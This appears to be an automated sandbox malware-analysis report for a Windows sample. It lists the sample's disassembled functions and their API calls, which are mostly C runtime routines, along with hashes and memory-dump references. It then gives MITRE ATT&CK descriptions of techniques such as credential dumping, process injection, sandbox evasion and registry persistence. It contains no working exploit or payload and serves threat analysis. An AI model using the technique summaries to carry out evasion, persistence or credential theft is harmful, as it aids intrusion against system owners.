Instruction ID: b78df2e2ec0db9f5f0b0f437b0fcb1d727dff46f097c484bc582e6ddb2636d3b
Opcode Fuzzy Hash: db24eda7b3127d41a2a6cfce6e76ba8f1c3dc74512681e5bc0e933f92b4eb6a1
Instruction Fuzzy Hash: F4D06779D9512ECACB30DFA4D8507ACB771EB96200F1020A9C418A3552E7305A50AE99

Function 00417081 Relevance: 31.8, APIs: 21, Instructions: 340COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,00000000), ref: 004170C5
MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
_malloc.LIBCMT ref: 0041718A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
_malloc.LIBCMT ref: 0041724C
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
__freea.LIBCMT ref: 004172A4
__freea.LIBCMT ref: 004172AD
___ansicp.LIBCMT ref: 004172DE
___convertcp.LIBCMT ref: 00417309
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
_malloc.LIBCMT ref: 00417362
_memset.LIBCMT ref: 00417384
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
___convertcp.LIBCMT ref: 004173BA
__freea.LIBCMT ref: 004173CF
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9

Memory Dump Source

Source File: 00000004.00000001.2234117095.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.2234117095.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.2234117095.0000000000441000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_xzeheenC.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
String ID:
API String ID: 3809854901-0
Opcode ID: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
Opcode Fuzzy Hash: b16ff40dd4ba9ebc371e1f7effab867f6711c58894302612c2f4823bb6b89e2c
Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98

Function 004057B0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 004057DE

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

_malloc.LIBCMT ref: 00405842
_malloc.LIBCMT ref: 00405906
_malloc.LIBCMT ref: 00405930

Strings

1.2.3, xrefs: 004058EC, 00405937

Memory Dump Source

Source File: 00000004.00000001.2234117095.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.2234117095.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.2234117095.0000000000441000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_xzeheenC.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap
String ID: 1.2.3
API String ID: 680241177-2310465506
Opcode ID: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
Opcode Fuzzy Hash: 64d57b24c90c17737e8f9baa349f19b9f9970d6aaf881d525023fd74c78c4ea3
Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A

Function 0040BCC2 Relevance: 10.7, APIs: 7, Instructions: 189COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040BD24
_memcpy_s.LIBCMT ref: 0040BD99
__fileno.LIBCMT ref: 0040BDF9
__read.LIBCMT ref: 0040BE00
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Memory Dump Source

Source File: 00000004.00000001.2234117095.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.2234117095.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.2234117095.0000000000441000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_xzeheenC.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Function 004017E0 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

EntryPoint.XZEHEENC(80070057), ref: 004017EE

Part of subcall function 00401030: RaiseException.KERNEL32(-0000000113D97C15,00000001,00000000,00000000,00000015,21CD4C01,2C2D8410), ref: 0040101C
Part of subcall function 00401030: GetLastError.KERNEL32 ref: 00401030

EntryPoint.XZEHEENC(80070057), ref: 00401800
EntryPoint.XZEHEENC(80070057), ref: 00401813
__recalloc.LIBCMT ref: 00401828
EntryPoint.XZEHEENC(8007000E), ref: 00401839
EntryPoint.XZEHEENC(8007000E), ref: 00401853
_calloc.LIBCMT ref: 00401861

Memory Dump Source

Source File: 00000004.00000001.2234117095.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.2234117095.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.2234117095.0000000000441000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_xzeheenC.jbxd

Yara matches

Similarity

API ID: EntryPoint$ErrorExceptionLastRaise__recalloc_calloc
String ID:
API String ID: 1721462702-0
Opcode ID: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
Instruction ID: 9b44c07ae4757e317c030d83b628f3e382e80143504443e1f3b2735d650bea0f
Opcode Fuzzy Hash: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
Instruction Fuzzy Hash: AC018872500241EACA21BA229C06F1B7294DF90799F24893FF4C5762E2D63D9990D6EE

Function 00414738 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00414744

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__getptd.LIBCMT ref: 0041475B
__amsg_exit.LIBCMT ref: 00414769
__lock.LIBCMT ref: 00414779

Strings

@.B, xrefs: 00414786

Memory Dump Source

Source File: 00000004.00000001.2234117095.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.2234117095.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.2234117095.0000000000441000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_xzeheenC.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D

Function 0040C73D Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 0040C6C8
__fileno.LIBCMT ref: 0040C6D6
__fileno.LIBCMT ref: 0040C6E2
__fileno.LIBCMT ref: 0040C6EE
__fileno.LIBCMT ref: 0040C6FE

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000004.00000001.2234117095.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.2234117095.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.2234117095.0000000000441000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_xzeheenC.jbxd

Yara matches

Similarity

API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
String ID:
API String ID: 2805327698-0
Opcode ID: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
Opcode Fuzzy Hash: 2b0b2601706cdb465d4c9eff24f73974ea9fb0f2dbbf8fc2cbf9e4943b65d960
Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D

Function 00413FCC Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00413FD8

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__amsg_exit.LIBCMT ref: 00413FF8
__lock.LIBCMT ref: 00414008
InterlockedDecrement.KERNEL32(?), ref: 00414025
InterlockedIncrement.KERNEL32(00422910), ref: 00414050

Memory Dump Source

Source File: 00000004.00000001.2234117095.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.2234117095.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.2234117095.0000000000441000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_xzeheenC.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD

Function 00413610 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625

Strings

IsProcessorFeaturePresent, xrefs: 0041361F
KERNEL32, xrefs: 00413610

Memory Dump Source

Source File: 00000004.00000001.2234117095.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.2234117095.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.2234117095.0000000000441000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_xzeheenC.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A

Function 0040C748 Relevance: 6.1, APIs: 4, Instructions: 148COMMON

Download Yara Rule

APIs

__fileno.LIBCMT ref: 0040C77C
__locking.LIBCMT ref: 0040C791

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000004.00000001.2234117095.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.2234117095.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.2234117095.0000000000441000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_xzeheenC.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__getptd_noexit__locking
String ID:
API String ID: 2395185920-0
Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D

Function 00405D00 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00405D54
_memset.LIBCMT ref: 00405D6F
_fseek.LIBCMT ref: 00405DDD

Memory Dump Source

Source File: 00000004.00000001.2234117095.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.2234117095.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.2234117095.0000000000441000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_xzeheenC.jbxd

Yara matches

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
Opcode Fuzzy Hash: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89

Function 0040BAAA Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 0040BB6E
__fileno.LIBCMT ref: 0040BB8E
__locking.LIBCMT ref: 0040BB95
__flsbuf.LIBCMT ref: 0040BBC0

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000004.00000001.2234117095.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.2234117095.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.2234117095.0000000000441000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_xzeheenC.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction ID: 72eaa501f89e5d914343e0f007c81726c853b1270fdaa85e4c7363b387074608
Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction Fuzzy Hash: B441A331A006059BDF249F6A88855AFB7B5EF80320F24853EE465B76C4D778EE41CB8C

Function 0041529F Relevance: 6.1, APIs: 4, Instructions: 103COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
__isleadbyte_l.LIBCMT ref: 00415307
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 00415338
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 004153A6

Memory Dump Source

Source File: 00000004.00000001.2234117095.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.2234117095.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.2234117095.0000000000441000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_xzeheenC.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59

Function 004134DB Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00413501

Part of subcall function 00413326: __fltout2.LIBCMT ref: 00413352

__cftog_l.LIBCMT ref: 00413527
__cftoe_l.LIBCMT ref: 00413559

Memory Dump Source

Source File: 00000004.00000001.2234117095.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.2234117095.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.2234117095.0000000000441000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_xzeheenC.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
